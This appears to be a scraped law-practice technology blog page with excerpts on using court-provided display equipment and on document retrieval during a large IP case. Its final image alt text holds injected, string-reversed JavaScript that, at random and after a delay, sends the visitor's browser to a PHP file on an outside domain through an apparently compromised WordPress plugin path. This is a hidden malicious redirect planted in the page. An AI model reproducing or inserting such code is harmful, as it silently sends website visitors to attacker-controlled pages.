A couple of follow up notes on working in courtrooms that provide some display equipment: The presence of equipment does not eliminate the need for some of your own gear. Below I address a few issues that commonly come up in tech enabled courtrooms:
How to hide your display from the Jury while finding what you need: Continue reading “Court Provided Tech: Part 2”
As HD TVs/Monitors dropped in price, more and more courts are adding them to courtrooms so as to simplify and encourage the use of trial display technology. This is a wonderful step forward that allows you to avoid the huge set up effort and expense but counsel and staff need to be cautious before assuming that you have a plug & play solution or that your PC is plug and play ready.
“Court Provided Tech: It can be plug and play with some prep (part 1)”
Twenty five years ago I was a mid-level attorney working on a huge international intellectual property case involving 100,000s of pages. It was the early days of computers so document review involved lots of stickies and highlighters. The lead lawyer had a very good memory for documents and was right 90% of the time on his requests that we retrieve something specific. The problem was that the 10% of the time he was wrong caused us 95% of our brain damage. It is really hard to find something that doesn’t exist. Continue reading “i-View: How annotations can work:”
![Court Provided Tech: It can be plug $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and play with some prep (part 1)](https://i-legal.com/wp-content/uploads/2019/01/pc-setup0-1200x900.jpg)
